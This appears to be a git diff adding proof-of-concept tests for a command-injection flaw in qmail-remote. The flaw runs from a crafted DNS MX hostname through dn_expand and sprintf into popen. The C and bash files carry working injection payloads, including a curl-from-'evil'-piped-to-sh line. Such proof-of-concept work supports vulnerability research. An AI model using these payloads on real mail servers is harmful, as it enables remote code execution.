+ * that enable command injection even when ; is escaped.
+ * 
+ * Key insight: dn_expand escapes ; . " \ but NOT ' $ ` ( ) | & > <
+ * So we can use single-quote escaping + $() command substitution.
+ */
+#include <stdio.h>
+#include <string.h>
+#include <arpa/nameser.h>
+#include <resolv.h>
+
+/* Build a DNS response with an MX record containing a crafted exchange hostname */
+int build_dns_response(unsigned char *response, int maxlen, const char *label) {
+    int label_len = strlen(label);
+    memset(response, 0, maxlen);
+    
+    /* DNS header (12 bytes): 1 question, 1 answer */
+    response[0] = 0x00; response[1] = 0x01; /* TxID */
+    response[2] = 0x84; response[3] = 0x00; /* Flags: QR=1, AA=1 */
+    response[4] = 0x00; response[5] = 0x01; /* QDCOUNT=1 */
+    response[6] = 0x00; response[7] = 0x01; /* ANCOUNT=1 */
+    
+    int pos = 12;
+    
+    /* Question: example.com MX IN */
+    response[pos++] = 7;
+    memcpy(response + pos, "example", 7); pos += 7;
+    response[pos++] = 3;
+    memcpy(response + pos, "com", 3); pos += 3;
+    response[pos++] = 0;
+    response[pos++] = 0x00; response[pos++] = 0x0f; /* MX */
+    response[pos++] = 0x00; response[pos++] = 0x01; /* IN */
+    
+    /* Answer: MX record */
+    response[pos++] = 0xc0; response[pos++] = 0x0c; /* ptr to question name */
+    response[pos++] = 0x00; response[pos++] = 0x0f; /* MX */
+    response[pos++] = 0x00; response[pos++] = 0x01; /* IN */
+    response[pos++] = 0x00; response[pos++] = 0x00;
+    response[pos++] = 0x0e; response[pos++] = 0x10; /* TTL */
+    
+    int rdlen_pos = pos; pos += 2;
+    int rdata_start = pos;
+    
+    response[pos++] = 0x00; response[pos++] = 0x0a; /* MX pref=10 */
+    
+    /* Crafted label with shell metacharacters */
+    response[pos++] = (unsigned char)label_len;
+    memcpy(response + pos, label, label_len); pos += label_len;
+    
+    /* .example.com */
+    response[pos++] = 7;
+    memcpy(response + pos, "example", 7); pos += 7;
+    response[pos++] = 3;
+    memcpy(response + pos, "com", 3); pos += 3;
+    response[pos++] = 0;
+    
+    int rdlen = pos - rdata_start;
+    response[rdlen_pos] = (rdlen >> 8) & 0xff;
+    response[rdlen_pos + 1] = rdlen & 0xff;
+    
+    return pos;
+}
+
+void test_payload(const char *label, const char *desc) {
+    unsigned char response[512];
+    int responselen = build_dns_response(response, sizeof(response), label);
+    
+    char name[MAXDNAME];
+    unsigned char *responseend = response + responselen;
+    
+    /* Calculate position of MX exchange field */
+    int question_end = 12 + 1 + 7 + 1 + 3 + 1 + 4;
+    unsigned char *mx_exchange = response + question_end + 2 + 10 + 2;
+    
+    int result = dn_expand(response, responseend, mx_exchange, name, MAXDNAME);
+    
+    if (result < 0) {
+        printf("[%s] FAIL: dn_expand returned %d\n", desc, result);
+        return;
+    }
+    
+    char acfcommand[2048];
+    sprintf(acfcommand, "/bin/touch /var/qmail/control/notlshosts/'%s'", name);
+    
+    printf("=== %s ===\n", desc);
+    printf("DNS label bytes: %s\n", label);
+    printf("dn_expand output: %s\n", name);
+    printf("Shell command:    %s\n\n", acfcommand);
+}
+
+int main() {
+    /* Test 1: Single quote + $() command substitution */
+    test_payload("x'$(id)'y", "Single quote + $() substitution");
+    
+    /* Test 2: Single quote + backtick command substitution */
+    test_payload("x'`id`'y", "Single quote + backtick substitution");
+    
+    /* Test 3: Single quote + pipe */
+    test_payload("x'|id|echo 'y", "Single quote + pipe");
+    
+    /* Test 4: Just dollar-paren (without quote break) */
+    test_payload("$(id)", "Dollar-paren only");
+    
+    /* Test 5: Realistic RCE payload */
+    test_payload("x'$(curl$IFS-s$IFS" "http://evil/s|sh)'y", "Realistic RCE");
+    
+    /* Test various special chars to see which survive */
+    printf("=== Character survival test ===\n");
+    const char *chars[] = {"'", "$", "`", "(", ")", "|", "&", ">", "<", ";", "\\", "\"", ".", NULL};
+    for (int i = 0; chars[i]; i++) {
+        unsigned char resp[512];
+        char label[64];
+        snprintf(label, sizeof(label), "test%stest", chars[i]);
+        int rlen = build_dns_response(resp, sizeof(resp), label);
+        char name[MAXDNAME];
+        int r = dn_expand(resp, resp + rlen, resp + (12+1+7+1+3+1+4) + 2+10+2, name, MAXDNAME);
+        if (r >= 0) {
+            int escaped = (strlen(name) > strlen(label) + 12); /* rough check */
+            printf("  char '%s' -> dn_expand: '%s' %s\n", chars[i], name, 
+                   strstr(name, "\\") && !strstr(label, "\\") ? "(ESCAPED)" : "(preserved)");
+        }
+    }
+    
+    return 0;
+}
diff --git a/MADBugs/qmail/test_full_chain.c b/MADBugs/qmail/test_full_chain.c
new file mode 100644
index 0000000..f6491e1
--- /dev/null
+++ b/MADBugs/qmail/test_full_chain.c
@@ -0,0 +1,142 @@
+/*
+ * Full chain validation: DNS MX response → dn_expand → sprintf → popen → RCE
+ * 
+ * This simulates the complete attack:
+ * 1. Attacker crafts DNS MX response with shell metacharacters in exchange hostname
+ * 2. dn_expand() decodes the hostname, preserving ' and ` characters
+ * 3. hostname is used in sprintf() to build a shell command
+ * 4. popen() executes the command, achieving code execution
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <arpa/nameser.h>
+#include <resolv.h>
+
+int build_dns_response(unsigned char *response, int maxlen, 
+                       const unsigned char *label, int label_len) {
+    memset(response, 0, maxlen);
+    
+    response[0] = 0x00; response[1] = 0x01;
+    response[2] = 0x84; response[3] = 0x00;
+    response[4] = 0x00; response[5] = 0x01;
+    response[6] = 0x00; response[7] = 0x01;
+    
+    int pos = 12;
+    
+    response[pos++] = 7;
+    memcpy(response + pos, "example", 7); pos += 7;
+    response[pos++] = 3;
+    memcpy(response + pos, "com", 3); pos += 3;
+    response[pos++] = 0;
+    response[pos++] = 0x00; response[pos++] = 0x0f;
+    response[pos++] = 0x00; response[pos++] = 0x01;
+    
+    response[pos++] = 0xc0; response[pos++] = 0x0c;
+    response[pos++] = 0x00; response[pos++] = 0x0f;
+    response[pos++] = 0x00; response[pos++] = 0x01;
+    response[pos++] = 0x00; response[pos++] = 0x00;
+    response[pos++] = 0x0e; response[pos++] = 0x10;
+    
+    int rdlen_pos = pos; pos += 2;
+    int rdata_start = pos;
+    
+    response[pos++] = 0x00; response[pos++] = 0x0a;
+    
+    response[pos++] = (unsigned char)label_len;
+    memcpy(response + pos, label, label_len); pos += label_len;
+    
+    response[pos++] = 7;
+    memcpy(response + pos, "example", 7); pos += 7;
+    response[pos++] = 3;
+    memcpy(response + pos, "com", 3); pos += 3;
+    response[pos++] = 0;
+    
+    int rdlen = pos - rdata_start;
+    response[rdlen_pos] = (rdlen >> 8) & 0xff;
+    response[rdlen_pos + 1] = rdlen & 0xff;
+    
+    return pos;
+}
+
+int main() {
+    printf("=== Full Chain Validation: DNS MX → dn_expand → sprintf → popen → RCE ===\n\n");
+    
+    /* Step 1: Craft DNS label with backtick injection */
+    /* Payload: x'`id>/tmp/full_chain_rce`'y  
+     * This breaks out of single quotes and uses backtick command substitution */
+    const char *payload_label = "x'`id>/tmp/full_chain_rce`'y";
+    int payload_len = strlen(payload_label);
+    
+    printf("Step 1: Attacker crafts MX DNS response\n");
+    printf("  MX exchange label bytes: %s (length %d)\n", payload_label, payload_len);
+    printf("  All bytes are valid in DNS wire format labels\n\n");
+    
+    /* Step 2: Build fake DNS response and run dn_expand */
+    unsigned char response[512];
+    int responselen = build_dns_response(response, sizeof(response), 
+                                          (const unsigned char *)payload_label, payload_len);
+    
+    char name[MAXDNAME];
+    unsigned char *responseend = response + responselen;
+    int question_end = 12 + 1 + 7 + 1 + 3 + 1 + 4;
+    unsigned char *mx_exchange = response + question_end + 2 + 10 + 2;
+    
+    int r = dn_expand(response, responseend, mx_exchange, name, MAXDNAME);
+    if (r < 0) {
+        printf("FAIL: dn_expand returned %d\n", r);
+        return 1;
+    }
+    
+    printf("Step 2: dn_expand() decodes the hostname\n");
+    printf("  partner_fqdn = \"%s\"\n", name);
+    printf("  Single quotes preserved: %s\n", strchr(name, '\'') ? "YES" : "NO");
+    printf("  Backticks preserved: %s\n\n", strchr(name, '`') ? "YES" : "NO");
+    
+    /* Step 3: sprintf builds the shell command (exactly as in qmail-remote.c:412) */
+    char acfcommand[1200];
+    const char *pw_dir = "/var/qmail";
+    sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", pw_dir, name);
+    
+    printf("Step 3: sprintf() builds shell command\n");
+    printf("  acfcommand = \"%s\"\n\n", acfcommand);
+    
+    /* Step 4: popen executes the command */
+    printf("Step 4: popen() executes the command\n");
+    
+    /* Remove evidence file first */
+    remove("/tmp/full_chain_rce");
+    
+    FILE *fp = popen(acfcommand, "r");
+    if (fp == NULL) {
+        printf("  popen failed\n");
+        return 1;
+    }
+    pclose(fp);
+    
+    /* Check if command executed */
+    FILE *check = fopen("/tmp/full_chain_rce", "r");
+    if (check) {
+        char buf[256];
+        if (fgets(buf, sizeof(buf), check)) {
+            printf("  COMMAND INJECTION SUCCESSFUL!\n");
+            printf("  id output: %s\n", buf);
+        }
+        fclose(check);
+    } else {
+        printf("  Evidence file not found\n");
+        return 1;
+    }
+    
+    printf("\n=== CONCLUSION ===\n");
+    printf("Remote code execution achieved through:\n");
+    printf("1. Attacker-controlled DNS MX record with shell metacharacters in exchange hostname\n");
+    printf("2. dn_expand() preserves single quotes and backticks (not in its escape set)\n");
+    printf("3. partner_fqdn used unsanitized in sprintf() to build shell command\n");
+    printf("4. popen() passes command to /bin/sh for execution\n");
+    printf("5. Single quote breaks out of shell quoting; backtick provides command substitution\n");
+    printf("\nVulnerable code: qmail-remote.c:412\n");
+    printf("Process runs as: qmailr user (qmail remote delivery user)\n");
+    
+    return 0;
+}
diff --git a/MADBugs/qmail/test_shell_injection.sh b/MADBugs/qmail/test_shell_injection.sh
new file mode 100644
index 0000000..4f1b3a1
--- /dev/null
+++ b/MADBugs/qmail/test_shell_injection.sh
@@ -0,0 +1,76 @@
+#!/bin/bash
+# Link 2 validation: Prove that the crafted partner_fqdn causes command execution
+# when passed through sprintf into popen.
+#
+# Simulates what qmail-remote.c tls_quit() does:
+#   sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", info->pw_dir, partner_fqdn);
+#   fp = popen(acfcommand, "r");
+
+# Clean up from prior runs
+rm -f /tmp/qmail_rce_proof
+
+# Test 1: Backtick injection via single-quote break
+# DNS label bytes would be: x'`id>/tmp/qmail_rce_proof`'y  
+# After dn_expand (backtick and single-quote preserved):
+PARTNER_FQDN="x'\`id>/tmp/qmail_rce_proof\`'y.example.com"
+
+PW_DIR="/var/qmail"
+
+# This is exactly what the C code does:
+ACFCOMMAND="/bin/touch ${PW_DIR}/control/notlshosts/'${PARTNER_FQDN}'"
+
+echo "=== Shell command being executed ==="
+echo "$ACFCOMMAND"
+echo ""
+
+# Execute via sh -c (equivalent to popen)
+sh -c "$ACFCOMMAND" 2>/dev/null
+
+echo "=== Checking for command execution evidence ==="
+if [ -f /tmp/qmail_rce_proof ]; then
+    echo "SUCCESS: Command injection confirmed!"
+    echo "Contents of /tmp/qmail_rce_proof:"
+    cat /tmp/qmail_rce_proof
+else
+    echo "Test 1 failed, trying pipe injection..."
+fi
+
+echo ""
+
+# Test 2: Pipe injection via single-quote break
+# DNS label bytes would be: a'|id>/tmp/qmail_rce_proof2|echo+'
+rm -f /tmp/qmail_rce_proof2
+PARTNER_FQDN2="a'|id>/tmp/qmail_rce_proof2|echo+'b.example.com"
+ACFCOMMAND2="/bin/touch ${PW_DIR}/control/notlshosts/'${PARTNER_FQDN2}'"
+
+echo "=== Test 2: Pipe injection ==="
+echo "$ACFCOMMAND2"
+sh -c "$ACFCOMMAND2" 2>/dev/null
+
+if [ -f /tmp/qmail_rce_proof2 ]; then
+    echo "SUCCESS: Pipe injection confirmed!"
+    echo "Contents:"
+    cat /tmp/qmail_rce_proof2
+else
+    echo "Pipe injection test failed"
+fi
+
+echo ""
+
+# Test 3: Ampersand background execution
+rm -f /tmp/qmail_rce_proof3
+PARTNER_FQDN3="a'&id>/tmp/qmail_rce_proof3&echo+'b.example.com"
+ACFCOMMAND3="/bin/touch ${PW_DIR}/control/notlshosts/'${PARTNER_FQDN3}'"
+
+echo "=== Test 3: Ampersand injection ==="
+echo "$ACFCOMMAND3"
+sh -c "$ACFCOMMAND3" 2>/dev/null
+sleep 1
+
+if [ -f /tmp/qmail_rce_proof3 ]; then
+    echo "SUCCESS: Ampersand injection confirmed!"
+    echo "Contents:"
+    cat /tmp/qmail_rce_proof3
+else
+    echo "Ampersand test failed"
+fi
diff --git a/MADBugs/qmail/vpopmail_stub.c b/MADBugs/qmail/vpopmail_stub.c
new file mode 100644
index 0000000..847c5b7
--- /dev/null
+++ b/MADBugs/qmail/vpopmail_stub.c
@@ -0,0 +1,20 @@
+#include <stddef.h>
+#include <sys/types.h>
+
+struct vqpasswd {
+  char *pw_name; char *pw_passwd; char *pw_gecos;
+  char *pw_dir; char *pw_shell; int pw_flags;
+  char *pw_clear_passwd; gid_t pw_gid; uid_t pw_uid;
+};
+
+char *vget_assign(const char *d, char *dir, int dirlen, uid_t *uid, gid_t *gid) { return NULL; }
+int vauth_open(int x) { return 0; }
+void vclose(void) { }
+struct vqpasswd *vauth_getpw(const char *u, const char *d) { return NULL; }
+int vauth_user_exists(const char *u, const char *d) { return 0; }
+int valias_select(const char *u, const char *d) { return 0; }
+char *valias_select_next(void) { return NULL; }
+int count_rcpthosts(void) { return 0; }
+int is_distributed_domain(const char *d) { return 0; }
+const char *format_maildirquota(const char *q) { return ""; }
+int vmaildir_readquota(const char *dir, const char *quota) { return 0; }